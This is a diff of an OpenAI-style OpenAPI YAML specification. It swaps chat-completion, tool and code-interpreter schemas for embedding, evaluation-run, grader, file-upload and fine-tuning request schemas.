- description: An array of content parts with a defined type. For tool messages, only type `text` is supported.
- title: Array of content parts
+ title: Array of tokens
+ description: The array of integers that will be turned into an embedding.
+ minItems: 1
+ maxItems: 2048
items:
- $ref: '#/components/schemas/ChatCompletionRequestToolMessageContentPart'
+ type: integer
+ - type: array
+ title: Array of token arrays
+ description: The array of arrays containing integers that will be turned into an embedding.
minItems: 1
- tool_call_id:
- type: string
- description: Tool call that this message is responding to.
- required:
- - role
- - content
- - tool_call_id
- x-stainless-naming:
- go:
- variant_constructor: ToolMessage
- ChatCompletionRequestToolMessageContentPart:
- anyOf:
- - $ref: '#/components/schemas/ChatCompletionRequestMessageContentPartText'
- ChatCompletionRequestUserMessage:
- type: object
- title: User message
- description: |
- Messages sent by an end user, containing prompts or additional context
- information.
- properties:
- content:
+ maxItems: 2048
+ items:
+ type: array
+ minItems: 1
+ items:
+ type: integer
+ model:
description: |
- The contents of the user message.
+ ID of the model to use. You can use the [List models](https://developers.openai.com/api/reference/resources/models/methods/list) API to see all of your available models, or see our [Model overview](https://developers.openai.com/api/docs/models) for descriptions of them.
+ example: text-embedding-3-small
anyOf:
- type: string
- description: The text contents of the message.
- title: Text content
- - type: array
- description: An array of content parts with a defined type. Supported options differ based on the [model](https://developers.openai.com/api/docs/models) being used to generate the response. Can contain text, image, or audio inputs.
- title: Array of content parts
- items:
- $ref: '#/components/schemas/ChatCompletionRequestUserMessageContentPart'
- minItems: 1
- role:
+ - type: string
+ enum:
+ - text-embedding-ada-002
+ - text-embedding-3-small
+ - text-embedding-3-large
+ x-stainless-nominal: false
+ x-oaiTypeLabel: string
+ encoding_format:
+ description: The format to return the embeddings in. Can be either `float` or [`base64`](https://pypi.org/project/pybase64/).
+ example: float
+ default: float
type: string
enum:
- - user
- description: The role of the messages author, in this case `user`.
- x-stainless-const: true
- name:
+ - float
+ - base64
+ dimensions:
+ description: |
+ The number of dimensions the resulting output embeddings should have. Only supported in `text-embedding-3` and later models.
+ type: integer
+ minimum: 1
+ user:
type: string
- description: An optional name for the participant. Provides the model information to differentiate between participants of the same role.
+ example: user-1234
+ description: |
+ A unique identifier representing your end-user, which can help OpenAI to monitor and detect abuse. [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
required:
- - content
- - role
- x-stainless-naming:
- go:
- variant_constructor: UserMessage
- ChatCompletionRequestUserMessageContentPart:
- anyOf:
- - $ref: '#/components/schemas/ChatCompletionRequestMessageContentPartText'
- - $ref: '#/components/schemas/ChatCompletionRequestMessageContentPartImage'
- - $ref: '#/components/schemas/ChatCompletionRequestMessageContentPartAudio'
- - $ref: '#/components/schemas/ChatCompletionRequestMessageContentPartFile'
- discriminator:
- propertyName: type
- ChatCompletionResponseMessage:
+ - model
+ - input
+ CreateEmbeddingResponse:
type: object
- description: A chat completion message generated by the model.
properties:
- content:
- anyOf:
- - type: string
- description: The contents of the message.
- - type: 'null'
- refusal:
- anyOf:
- - type: string
- description: The refusal message generated by the model.
- - type: 'null'
- tool_calls:
- $ref: '#/components/schemas/ChatCompletionMessageToolCalls'
- annotations:
+ data:
type: array
- description: |
- Annotations for the message, when applicable, as when using the
- [web search tool](https://developers.openai.com/api/docs/guides/tools-web-search).
+ description: The list of embeddings generated by the model.
items:
- type: object
- description: |
- A URL citation when using web search.
- required:
- - type
- - url_citation
- properties:
- type:
- type: string
- description: The type of the URL citation. Always `url_citation`.
- enum:
- - url_citation
- x-stainless-const: true
- url_citation:
- type: object
- description: A URL citation when using web search.
- required:
- - end_index
- - start_index
- - url
- - title
- properties:
- end_index:
- type: integer
- description: The index of the last character of the URL citation in the message.
- start_index:
- type: integer
- description: The index of the first character of the URL citation in the message.
- url:
- type: string
- format: uri
- description: The URL of the web resource.
- title:
- type: string
- description: The title of the web resource.
- role:
+ $ref: '#/components/schemas/Embedding'
+ model:
+ type: string
+ description: The name of the model used to generate the embedding.
+ object:
type: string
+ description: The object type, which is always "list".
enum:
- - assistant
- description: The role of the author of this message.
+ - list
x-stainless-const: true
- function_call:
+ usage:
type: object
- deprecated: true
- description: Deprecated and replaced by `tool_calls`. The name and arguments of a function that should be called, as generated by the model.
+ description: The usage information for the request.
properties:
- arguments:
- type: string
- description: The arguments to call the function with, as generated by the model in JSON format. Note that the model does not always generate valid JSON, and may hallucinate parameters not defined by your function schema. Validate the arguments in your code before calling your function.
- name:
- type: string
- description: The name of the function to call.
+ prompt_tokens:
+ type: integer
+ description: The number of tokens used by the prompt.
+ total_tokens:
+ type: integer
+ description: The total number of tokens used by the request.
required:
- - name
- - arguments
- audio:
+ - prompt_tokens
+ - total_tokens
+ required:
+ - object
+ - model
+ - data
+ - usage
+ CreateEvalCompletionsRunDataSource:
+ type: object
+ title: CompletionsRunDataSource
+ description: |
+ A CompletionsRunDataSource object describing a model sampling configuration.
+ properties:
+ type:
+ type: string
+ enum:
+ - completions
+ default: completions
+ description: The type of run data source. Always `completions`.
+ input_messages:
+ description: Used when sampling from a model. Dictates the structure of the messages passed into the model. Can either be a reference to a prebuilt trajectory (ie, `item.input_trajectory`), or a template with variable references to the `item` namespace.
anyOf:
- type: object
- description: |
- If the audio output modality is requested, this object contains data
- about the audio response from the model. [Learn more](https://developers.openai.com/api/docs/guides/audio).
- required:
- - id
- - expires_at
- - data
- - transcript
+ title: TemplateInputMessages
properties:
- id:
+ type:
type: string
- description: Unique identifier for this audio response.
- expires_at:
- type: integer
- format: unixtime
- description: |
- The Unix timestamp (in seconds) for when this audio response will
- no longer be accessible on the server for use in multi-turn
- conversations.
- data:
+ enum:
+ - template
+ description: The type of input messages. Always `template`.
+ template:
+ type: array
+ description: A list of chat messages forming the prompt or context. May include variable references to the `item` namespace, ie {{item.name}}.
+ items:
+ anyOf:
+ - $ref: '#/components/schemas/EasyInputMessage'
+ - $ref: '#/components/schemas/EvalItem'
+ required:
+ - type
+ - template
+ - type: object
+ title: ItemReferenceInputMessages
+ properties:
+ type:
type: string
- description: |
- Base64 encoded audio bytes generated by the model, in the format
- specified in the request.
- transcript:
+ enum:
+ - item_reference
+ description: The type of input messages. Always `item_reference`.
+ item_reference:
type: string
- description: Transcript of the audio generated by the model.
- - type: 'null'
- required:
- - role
- - content
- - refusal
- ChatCompletionRole:
- type: string
- description: The role of the author of a message
- enum:
- - developer
- - system
- - user
- - assistant
- - tool
- - function
- ChatCompletionStreamOptions:
- anyOf:
- - description: |
- Options for streaming response. Only set this when you set `stream: true`.
- type: object
- properties:
- include_usage:
- type: boolean
- description: |
- If set, an additional chunk will be streamed before the `data: [DONE]`
- message. The `usage` field on this chunk shows the token usage statistics
- for the entire request, and the `choices` field will always be an empty
- array.
-
- All other chunks will also include a `usage` field, but with a null
- value. **NOTE:** If the stream is interrupted, you may not receive the
- final usage chunk which contains the total token usage for the request.
- include_obfuscation:
- type: boolean
- description: |
- When true, stream obfuscation will be enabled. Stream obfuscation adds
- random characters to an `obfuscation` field on streaming delta events to
- normalize payload sizes as a mitigation to certain side-channel attacks.
- These obfuscation fields are included by default, but add a small amount
- of overhead to the data stream. You can set `include_obfuscation` to
- false to optimize for bandwidth if you trust the network links between
- your application and the OpenAI API.
- - type: 'null'
- ChatCompletionStreamResponseDelta:
- type: object
- description: A chat completion delta generated by streamed model responses.
- properties:
- content:
- anyOf:
- - type: string
- description: The contents of the chunk message.
- - type: 'null'
- function_call:
- deprecated: true
+ description: A reference to a variable in the `item` namespace. Ie, "item.input_trajectory"
+ required:
+ - type
+ - item_reference
+ discriminator:
+ propertyName: type
+ sampling_params:
type: object
- description: Deprecated and replaced by `tool_calls`. The name and arguments of a function that should be called, as generated by the model.
properties:
- arguments:
- type: string
- description: The arguments to call the function with, as generated by the model in JSON format. Note that the model does not always generate valid JSON, and may hallucinate parameters not defined by your function schema. Validate the arguments in your code before calling your function.
- name:
- type: string
- description: The name of the function to call.
- tool_calls:
- type: array
- items:
- $ref: '#/components/schemas/ChatCompletionMessageToolCallChunk'
- role:
- type: string
- enum:
- - developer
- - system
- - user
- - assistant
- - tool
- description: The role of the author of this message.
- refusal:
- anyOf:
- - type: string
- description: The refusal message generated by the model.
- - type: 'null'
- ChatCompletionTokenLogprob:
- type: object
- properties:
- token:
- description: The token.
+ reasoning_effort:
+ $ref: '#/components/schemas/ReasoningEffort'
+ temperature:
+ type: number
+ description: A higher temperature increases randomness in the outputs.
+ default: 1
+ max_completion_tokens:
+ type: integer
+ description: The maximum number of tokens in the generated output.
+ top_p:
+ type: number
+ description: An alternative to temperature for nucleus sampling; 1.0 includes all tokens.
+ default: 1
+ seed:
+ type: integer
+ description: A seed value to initialize the randomness, during sampling.
+ default: 42
+ response_format:
+ description: |
+ An object specifying the format that the model must output.
+
+ Setting to `{ "type": "json_schema", "json_schema": {...} }` enables
+ Structured Outputs which ensures the model will match your supplied JSON
+ schema. Learn more in the [Structured Outputs
+ guide](https://developers.openai.com/api/docs/guides/structured-outputs).
+
+ Setting to `{ "type": "json_object" }` enables the older JSON mode, which
+ ensures the message the model generates is valid JSON. Using `json_schema`
+ is preferred for models that support it.
+ anyOf:
+ - $ref: '#/components/schemas/ResponseFormatText'
+ - $ref: '#/components/schemas/ResponseFormatJsonSchema'
+ - $ref: '#/components/schemas/ResponseFormatJsonObject'
+ tools:
+ type: array
+ description: |
+ A list of tools the model may call. Currently, only functions are supported as a tool. Use this to provide a list of functions the model may generate JSON inputs for. A max of 128 functions are supported.
+ items:
+ $ref: '#/components/schemas/ChatCompletionTool'
+ model:
type: string
- logprob:
- description: The log probability of this token, if it is within the top 20 most likely tokens. Otherwise, the value `-9999.0` is used to signify that the token is very unlikely.
- type: number
- bytes:
+ description: The name of the model to use for generating completions (e.g. "o3-mini").
+ source:
+ description: Determines what populates the `item` namespace in this run's data source.
anyOf:
- - description: A list of integers representing the UTF-8 bytes representation of the token. Useful in instances where characters are represented by multiple tokens and their byte representations must be combined to generate the correct text representation. Can be `null` if there is no bytes representation for the token.
- type: array
- items:
- type: integer
- - type: 'null'
- top_logprobs:
- description: List of the most likely tokens and their log probability, at this token position. The number of entries may be fewer than the requested `top_logprobs`.
- type: array
- items:
- type: object
- properties:
- token:
- description: The token.
- type: string
- logprob:
- description: The log probability of this token, if it is within the top 20 most likely tokens. Otherwise, the value `-9999.0` is used to signify that the token is very unlikely.
- type: number
- bytes:
- anyOf:
- - description: A list of integers representing the UTF-8 bytes representation of the token. Useful in instances where characters are represented by multiple tokens and their byte representations must be combined to generate the correct text representation. Can be `null` if there is no bytes representation for the token.
- type: array
- items:
- type: integer
- - type: 'null'
- required:
- - token
- - logprob
- - bytes
+ - $ref: '#/components/schemas/EvalJsonlFileContentSource'
+ - $ref: '#/components/schemas/EvalJsonlFileIdSource'
+ - $ref: '#/components/schemas/EvalStoredCompletionsSource'
+ discriminator:
+ propertyName: type
required:
- - token
- - logprob
- - bytes
- - top_logprobs
- ChatCompletionTool:
+ - type
+ - source
+ x-oaiMeta:
+ name: The completions data source object used to configure an individual run
+ group: eval runs
+ example: |
+ {
+ "name": "gpt-6-astra",
+ "data_source": {
+ "type": "completions",
+ "input_messages": {
+ "type": "item_reference",
+ "item_reference": "item.input"
+ },
+ "model": "gpt-6-astra",
+ "source": {
+ "type": "stored_completions",
+ "model": "gpt-6-astra"
+ }
+ }
+ }
+ CreateEvalCustomDataSourceConfig:
type: object
- title: Function tool
+ title: CustomDataSourceConfig
description: |
- A function tool that can be used to generate a response.
+ A CustomDataSourceConfig object that defines the schema for the data source used for the evaluation runs.
+ This schema is used to define the shape of the data that will be:
+ - Used to define your testing criteria and
+ - What data is required when creating a run
properties:
type:
type: string
enum:
- - function
- description: The type of the tool. Currently, only `function` is supported.
+ - custom
+ default: custom
+ description: The type of data source. Always `custom`.
x-stainless-const: true
- function:
- $ref: '#/components/schemas/FunctionObject'
+ item_schema:
+ type: object
+ description: The json schema for each row in the data source.
+ additionalProperties: true
+ include_sample_schema:
+ type: boolean
+ default: false
+ description: Whether the eval should expect you to populate the sample namespace (ie, by generating responses off of your data source)
required:
+ - item_schema
- type
- - function
- ChatCompletionToolChoiceOption:
- description: |
- Controls which (if any) tool is called by the model.
- `none` means the model will not call any tool and instead generates a message.
- `auto` means the model can pick between generating a message or calling one or more tools.
- `required` means the model must call one or more tools.
- Specifying a particular tool via `{"type": "function", "function": {"name": "my_function"}}` forces the model to call that tool.
-
- `none` is the default when no tools are present. `auto` is the default if tools are present.
- anyOf:
- - type: string
- title: Auto
- description: |
- `none` means the model will not call any tool and instead generates a message. `auto` means the model can pick between generating a message or calling one or more tools. `required` means the model must call one or more tools.
- enum:
- - none
- - auto
- - required
- - $ref: '#/components/schemas/ChatCompletionAllowedToolsChoice'
- - $ref: '#/components/schemas/ChatCompletionNamedToolChoice'
- - $ref: '#/components/schemas/ChatCompletionNamedToolChoiceCustom'
- x-stainless-go-variant-constructor:
- naming: tool_choice_option_{variant}
- ChunkingStrategyRequestParam:
+ x-oaiMeta:
+ name: The eval file data source config object
+ group: evals
+ example: |
+ {
+ "type": "custom",
+ "item_schema": {
+ "type": "object",
+ "properties": {
+ "name": {"type": "string"},
+ "age": {"type": "integer"}
+ },
+ "required": ["name", "age"]
+ },
+ "include_sample_schema": true
+ }
+ CreateEvalItem:
+ title: CreateEvalItem
+ description: A chat message that makes up the prompt or context. May include variable references to the `item` namespace, ie {{item.name}}.
type: object
- description: The chunking strategy used to chunk the file(s). If not set, will use the `auto` strategy. Only applicable if `file_ids` is non-empty.
+ x-oaiMeta:
+ name: The chat message object used to configure an individual run
anyOf:
- - $ref: '#/components/schemas/AutoChunkingStrategyRequestParam'
- - $ref: '#/components/schemas/StaticChunkingStrategyRequestParam'
- discriminator:
- propertyName: type
- CodeInterpreterFileOutput:
+ - type: object
+ title: SimpleInputMessage
+ properties:
+ role:
+ type: string
+ description: The role of the message (e.g. "system", "assistant", "user").
+ content:
+ type: string
+ description: The content of the message.
+ required:
+ - role
+ - content
+ - $ref: '#/components/schemas/EvalItem'
+ CreateEvalJsonlRunDataSource:
type: object
- title: Code interpreter file output
+ title: JsonlRunDataSource
+ description: "A JsonlRunDataSource object with that specifies a JSONL file that matches the eval \n"
+ properties:
+ type:
+ type: string
+ enum:
+ - jsonl
+ default: jsonl
+ description: The type of data source. Always `jsonl`.
+ x-stainless-const: true
+ source:
+ description: Determines what populates the `item` namespace in the data source.
+ anyOf:
+ - $ref: '#/components/schemas/EvalJsonlFileContentSource'
+ - $ref: '#/components/schemas/EvalJsonlFileIdSource'
+ discriminator:
+ propertyName: type
+ required:
+ - type
+ - source
+ x-oaiMeta:
+ name: The file data source object for the eval run configuration
+ group: evals
+ example: |
+ {
+ "type": "jsonl",
+ "source": {
+ "type": "file_id",
+ "id": "file-9GYS6xbkWgWhmE7VoLUWFg"
+ }
+ }
+ CreateEvalLabelModelGrader:
+ type: object
+ title: LabelModelGrader
description: |
- The output of a code interpreter tool call that is a file.
+ A LabelModelGrader object which uses a model to assign labels to each item
+ in the evaluation.
properties:
type:
+ description: The object type, which is always `label_model`.
type: string
enum:
- - files
- description: |
- The type of the code interpreter file output. Always `files`.
+ - label_model
x-stainless-const: true
- files:
+ name:
+ type: string
+ description: The name of the grader.
+ model:
+ type: string
+ description: The model to use for the evaluation. Must support structured outputs.
+ input:
type: array
+ description: A list of chat messages forming the prompt or context. May include variable references to the `item` namespace, ie {{item.name}}.
items:
- type: object
- properties:
- mime_type:
- type: string
- description: |
- The MIME type of the file.
- file_id:
- type: string
- description: |
- The ID of the file.
- required:
- - mime_type
- - file_id
+ $ref: '#/components/schemas/CreateEvalItem'
+ labels:
+ type: array
+ items:
+ type: string
+ description: The labels to classify to each item in the evaluation.
+ passing_labels:
+ type: array
+ items:
+ type: string
+ description: The labels that indicate a passing result. Must be a subset of labels.
required:
- type
- - files
- CodeInterpreterTextOutput:
+ - model
+ - input
+ - passing_labels
+ - labels
+ - name
+ x-oaiMeta:
+ name: The eval label model grader object
+ group: evals
+ example: |
+ {
+ "type": "label_model",
+ "model": "gpt-4o-2024-08-06",
+ "input": [
+ {
+ "role": "system",
+ "content": "Classify the sentiment of the following statement as one of 'positive', 'neutral', or 'negative'"
+ },
+ {
+ "role": "user",
+ "content": "Statement: {{item.response}}"
+ }
+ ],
+ "passing_labels": ["positive"],
+ "labels": ["positive", "neutral", "negative"],
+ "name": "Sentiment label grader"
+ }
+ CreateEvalLogsDataSourceConfig:
type: object
- title: Code interpreter text output
+ title: LogsDataSourceConfig
description: |
- The output of a code interpreter tool call that is text.
+ A data source config which specifies the metadata property of your logs query.
+ This is usually metadata like `usecase=chatbot` or `prompt-version=v2`, etc.
properties:
type:
type: string
enum:
- logs
- description: |
- The type of the code interpreter text output. Always `logs`.
+ default: logs
+ description: The type of data source. Always `logs`.
x-stainless-const: true
- logs:
- type: string
- description: |
- The logs of the code interpreter tool call.
+ metadata:
+ type: object
+ description: Metadata filters for the logs data source.
+ additionalProperties: true
required:
- type
- - logs
- CodeInterpreterTool:
+ x-oaiMeta:
+ name: The logs data source object for evals
+ group: evals
+ example: |
+ {
+ "type": "logs",
+ "metadata": {
+ "use_case": "customer_support_agent"
+ }
+ }
+ CreateEvalRequest:
type: object
- title: Code interpreter
+ title: CreateEvalRequest
+ properties:
+ name:
+ type: string
+ description: The name of the evaluation.
+ metadata:
+ $ref: '#/components/schemas/Metadata'
+ data_source_config:
+ type: object
+ description: The configuration for the data source used for the evaluation runs. Dictates the schema of the data used in the evaluation.
+ anyOf:
+ - $ref: '#/components/schemas/CreateEvalCustomDataSourceConfig'
+ - $ref: '#/components/schemas/CreateEvalLogsDataSourceConfig'
+ - $ref: '#/components/schemas/CreateEvalStoredCompletionsDataSourceConfig'
+ discriminator:
+ propertyName: type
+ testing_criteria:
+ type: array
+ description: A list of graders for all eval runs in this group. Graders can reference variables in the data source using double curly braces notation, like `{{item.variable_name}}`. To reference the model's output, use the `sample` namespace (ie, `{{sample.output_text}}`).
+ items:
+ anyOf:
+ - $ref: '#/components/schemas/CreateEvalLabelModelGrader'
+ - $ref: '#/components/schemas/EvalGraderStringCheck'
+ - $ref: '#/components/schemas/EvalGraderTextSimilarity'
+ - $ref: '#/components/schemas/EvalGraderPython'
+ - $ref: '#/components/schemas/EvalGraderScoreModel'
+ discriminator:
+ propertyName: type
+ required:
+ - data_source_config
+ - testing_criteria
+ CreateEvalResponsesRunDataSource:
+ type: object
+ title: CreateEvalResponsesRunDataSource
description: |
- A tool that runs Python code to help generate a response to a prompt.
+ A ResponsesRunDataSource object describing a model sampling configuration.
properties:
type:
type: string
enum:
- - code_interpreter
- description: |
- The type of the code interpreter tool. Always `code_interpreter`.
- x-stainless-const: true
- container:
- description: |
- The code interpreter container. Can be a container ID or an object that
- specifies uploaded file IDs to make available to your code, along with an
- optional `memory_limit` setting.
+ - responses
+ default: responses
+ description: The type of run data source. Always `responses`.
+ input_messages:
+ description: Used when sampling from a model. Dictates the structure of the messages passed into the model. Can either be a reference to a prebuilt trajectory (ie, `item.input_trajectory`), or a template with variable references to the `item` namespace.
anyOf:
- - type: string
- description: The container ID.
- - $ref: '#/components/schemas/CodeInterpreterContainerAuto'
- allowed_callers:
+ - type: object
+ title: InputMessagesTemplate
+ properties:
+ type:
+ type: string
+ enum:
+ - template
+ description: The type of input messages. Always `template`.
+ template:
+ type: array
+ description: A list of chat messages forming the prompt or context. May include variable references to the `item` namespace, ie {{item.name}}.
+ items:
+ anyOf:
+ - type: object
+ title: ChatMessage
+ properties:
+ role:
+ type: string
+ description: The role of the message (e.g. "system", "assistant", "user").
+ content:
+ type: string
+ description: The content of the message.
+ required:
+ - role
+ - content
+ - $ref: '#/components/schemas/EvalItem'
+ required:
+ - type
+ - template
+ - type: object
+ title: InputMessagesItemReference
+ properties:
+ type:
+ type: string
+ enum:
+ - item_reference
+ description: The type of input messages. Always `item_reference`.
+ item_reference:
+ type: string
+ description: A reference to a variable in the `item` namespace. Ie, "item.name"
+ required:
+ - type
+ - item_reference
+ discriminator:
+ propertyName: type
+ sampling_params:
+ type: object
+ properties:
+ reasoning_effort:
+ $ref: '#/components/schemas/ReasoningEffort'
+ temperature:
+ type: number
+ description: A higher temperature increases randomness in the outputs.
+ default: 1
+ max_completion_tokens:
+ type: integer
+ description: The maximum number of tokens in the generated output.
+ top_p:
+ type: number
+ description: An alternative to temperature for nucleus sampling; 1.0 includes all tokens.
+ default: 1
+ seed:
+ type: integer
+ description: A seed value to initialize the randomness, during sampling.
+ default: 42
+ tools:
+ type: array
+ description: |
+ An array of tools the model may call while generating a response. You
+ can specify which tool to use by setting the `tool_choice` parameter.
+
+ The two categories of tools you can provide the model are:
+
+ - **Built-in tools**: Tools that are provided by OpenAI that extend the
+ model's capabilities, like [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or [file search](https://developers.openai.com/api/docs/guides/tools-file-search). Learn more about
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
+ - **Function calls (custom tools)**: Functions that are defined by you,
+ enabling the model to call your own code. Learn more about
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling).
+ items:
+ $ref: '#/components/schemas/Tool'
+ text:
+ type: object
+ description: |
+ Configuration options for a text response from the model. Can be plain
+ text or structured JSON data. Learn more:
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
+ properties:
+ format:
+ $ref: '#/components/schemas/TextResponseFormatConfiguration'
+ model:
+ type: string
+ description: The name of the model to use for generating completions (e.g. "o3-mini").
+ source:
+ description: Determines what populates the `item` namespace in this run's data source.
anyOf:
- - type: array
- minItems: 1
- items:
- $ref: '#/components/schemas/CallableToolAllowedCaller'
- description: The tool invocation context(s).
- - type: 'null'
+ - $ref: '#/components/schemas/EvalJsonlFileContentSource'
+ - $ref: '#/components/schemas/EvalJsonlFileIdSource'
+ - $ref: '#/components/schemas/EvalResponsesSource'
+ discriminator:
+ propertyName: type
+ required:
+ - type
+ - source
+ x-oaiMeta:
+ name: The completions data source object used to configure an individual run
+ group: eval runs
+ example: |
+ {
+ "name": "gpt-6-astra",
+ "data_source": {
+ "type": "responses",
+ "input_messages": {
+ "type": "item_reference",
+ "item_reference": "item.input"
+ },
+ "model": "gpt-6-astra",
+ "source": {
+ "type": "responses",
+ "model": "gpt-6-astra"
+ }
+ }
+ }
+ CreateEvalRunRequest:
+ type: object
+ title: CreateEvalRunRequest
+ properties:
+ name:
+ type: string
+ description: The name of the run.
+ metadata:
+ $ref: '#/components/schemas/Metadata'
+ data_source:
+ type: object
+ description: Details about the run's data source.
+ anyOf:
+ - $ref: '#/components/schemas/CreateEvalJsonlRunDataSource'
+ - $ref: '#/components/schemas/CreateEvalCompletionsRunDataSource'
+ - $ref: '#/components/schemas/CreateEvalResponsesRunDataSource'
required:
- - type
- - container
- CodeInterpreterToolCall:
+ - data_source
+ CreateEvalStoredCompletionsDataSourceConfig:
type: object
- title: Code interpreter tool call
+ title: StoredCompletionsDataSourceConfig
description: |
- A tool call to run code.
+ Deprecated in favor of LogsDataSourceConfig.
properties:
type:
type: string
enum:
- - code_interpreter_call
- default: code_interpreter_call
+ - stored_completions
+ default: stored_completions
+ description: The type of data source. Always `stored_completions`.
x-stainless-const: true
- description: |
- The type of the code interpreter tool call. Always `code_interpreter_call`.
- id:
- type: string
- description: |
- The unique ID of the code interpreter tool call.
- status:
- type: string
- enum:
- - in_progress
- - completed
- - incomplete
- - interpreting
- - failed
- description: |
- The status of the code interpreter tool call. Valid values are `in_progress`, `completed`, `incomplete`, `interpreting`, and `failed`.
- container_id:
- type: string
- description: |
- The ID of the container used to run the code.
- code:
- anyOf:
- - type: string
- description: |
- The code to run, or null if not available.
- - type: 'null'
- outputs:
- anyOf:
- - type: array
- items:
- discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/CodeInterpreterOutputLogs'
- - $ref: '#/components/schemas/CodeInterpreterOutputImage'
- discriminator:
- propertyName: type
- description: |
- The outputs generated by the code interpreter, such as logs or images.
- Can be null if no outputs are available.
- - type: 'null'
+ metadata:
+ type: object
+ description: Metadata filters for the stored completions data source.
+ additionalProperties: true
required:
- type
- - id
- - status
- - container_id
- - code
- - outputs
- ComparisonFilter:
+ deprecated: true
+ x-oaiMeta:
+ name: The stored completions data source object for evals
+ group: evals
+ example: |
+ {
+ "type": "stored_completions",
+ "metadata": {
+ "use_case": "customer_support_agent"
+ }
+ }
+ CreateFileRequest:
type: object
additionalProperties: false
- title: Comparison Filter
- description: |
- A filter used to compare a specified attribute key to a given value using a defined comparison operation.
properties:
- type:
- type: string
- default: eq
- enum:
- - eq
- - ne
- - gt
- - gte
- - lt
- - lte
- - in
- - nin
+ file:
description: |
- Specifies the comparison operator: `eq`, `ne`, `gt`, `gte`, `lt`, `lte`, `in`, `nin`.
- - `eq`: equals
- - `ne`: not equal
- - `gt`: greater than
- - `gte`: greater than or equal
- - `lt`: less than
- - `lte`: less than or equal
- - `in`: in
- - `nin`: not in
- key:
+ The File object (not file name) to be uploaded.
type: string
- description: The key to compare against the value.
- value:
- description: The value to compare against the attribute key; supports string, number, or boolean types.
- anyOf:
- - type: string
- - type: number
- - type: boolean
- - type: array
- items:
- $ref: '#/components/schemas/ComparisonFilterValueItems'
+ format: binary
+ x-oaiMeta:
+ exampleFilePath: fine-tune.jsonl
+ purpose:
+ $ref: '#/components/schemas/FilePurpose'
+ description: |
+ The intended purpose of the uploaded file. One of:
+ - `assistants`: Used in the Assistants API
+ - `batch`: Used in the Batch API
+ - `fine-tune`: Used for fine-tuning
+ - `vision`: Images used for vision fine-tuning
+ - `user_data`: Flexible file type for any purpose
+ - `evals`: Used for eval data sets
+ expires_after:
+ $ref: '#/components/schemas/FileExpirationAfter'
required:
- - type
- - key
- - value
- x-oaiMeta:
- name: ComparisonFilter
- CompleteUploadRequest:
+ - file
+ - purpose
+ CreateFineTuningCheckpointPermissionRequest:
type: object
additionalProperties: false
properties:
- part_ids:
+ project_ids:
type: array
- description: |
- The ordered list of Part IDs.
+ description: The project identifiers to grant access to.
items:
type: string
- md5:
- description: |
- The optional md5 checksum for the file contents to verify if the bytes uploaded matches what you expect.
- type: string
required:
- - part_ids
- CompletionUsage:
+ - project_ids
+ CreateFineTuningJobRequest:
type: object
- description: Usage statistics for the completion request.
properties:
- completion_tokens:
- type: integer
- default: 0
- description: Number of tokens in the generated completion.
- prompt_tokens:
- type: integer
- default: 0
- description: Number of tokens in the prompt.
- total_tokens:
- type: integer
- default: 0
- description: Total number of tokens used in the request (prompt + completion).
- completion_tokens_details:
+ model:
+ description: |
+ The name of the model to fine-tune. You can select one of the
+ [supported models](https://developers.openai.com/api/docs/guides/model-optimization#fine-tuning-methods).
+ example: gpt-4o-mini
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - babbage-002
+ - davinci-002
+ - gpt-3.5-turbo
+ - gpt-4o-mini
+ title: Preset
+ x-oaiTypeLabel: string
+ training_file:
+ description: |
+ The ID of an uploaded file that contains training data.
+
+ See [upload file](https://developers.openai.com/api/reference/resources/files/methods/create) for how to upload a file.
+
+ Your dataset must be formatted as a JSONL file. Additionally, you must upload your file with the purpose `fine-tune`.
+
+ The contents of the file should differ depending on if the model uses the [chat](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#formatting-your-data), [completions](https://developers.openai.com/api/docs/guides/supervised-fine-tuning#formatting-your-data) format, or if the fine-tuning method uses the [preference](https://developers.openai.com/api/docs/guides/direct-preference-optimization) format.
+
+ See the [fine-tuning guide](https://developers.openai.com/api/docs/guides/model-optimization) for more details.
+ type: string
+ example: file-abc123
+ hyperparameters:
type: object
- description: Breakdown of tokens used in a completion.
+ description: |
+ The hyperparameters used for the fine-tuning job.
+ This value is now deprecated in favor of `method`, and should be passed in under the `method` parameter.
properties:
- accepted_prediction_tokens:
- type: integer
- default: 0
+ batch_size:
description: |
- When using Predicted Outputs, the number of tokens in the
- prediction that appeared in the completion.
- audio_tokens:
- type: integer
- default: 0
- description: Audio input tokens generated by the model.
- reasoning_tokens:
- type: integer
- default: 0
- description: Tokens generated by the model for reasoning.
- text_tokens:
- type: integer
- description: Text output tokens generated by the model.
- rejected_prediction_tokens:
- type: integer
- default: 0
+ Number of examples in each batch. A larger batch size means that model parameters
+ are updated less frequently, but with lower variance.
+ default: auto
+ anyOf:
+ - type: string
+ enum:
+ - auto
+ x-stainless-const: true
+ title: Auto
+ - type: integer
+ minimum: 1
+ maximum: 256
+ learning_rate_multiplier:
description: |
- When using Predicted Outputs, the number of tokens in the
- prediction that did not appear in the completion. However, like
- reasoning tokens, these tokens are still counted in the total
- completion tokens for purposes of billing, output, and context window
- limits.
- prompt_tokens_details:
- type: object
- description: Breakdown of tokens used in the prompt.
- properties:
- audio_tokens:
- type: integer
- default: 0
- description: Audio input tokens present in the prompt.
- cached_tokens:
- type: integer
- default: 0
- description: Cached tokens present in the prompt.
- text_tokens:
- type: integer
- description: Text input tokens present in the prompt.
- image_tokens:
- type: integer
- description: Image input tokens present in the prompt.
- cache_write_tokens:
- type: integer
- default: 0
- description: The unadjusted number of prompt tokens written to cache.
+ Scaling factor for the learning rate. A smaller learning rate may be useful to avoid
+ overfitting.
+ anyOf:
+ - type: string
+ enum:
+ - auto
+ x-stainless-const: true
+ title: Auto
+ - type: number
+ minimum: 0
+ exclusiveMinimum: true
+ n_epochs:
+ description: |
+ The number of epochs to train the model for. An epoch refers to one full cycle
+ through the training dataset.
+ default: auto
+ anyOf:
+ - type: string
+ enum:
+ - auto
+ x-stainless-const: true
+ title: Auto
+ - type: integer
+ minimum: 1
+ maximum: 50
+ deprecated: true
+ suffix:
+ description: |
+ A string of up to 64 characters that will be added to your fine-tuned model name.
+
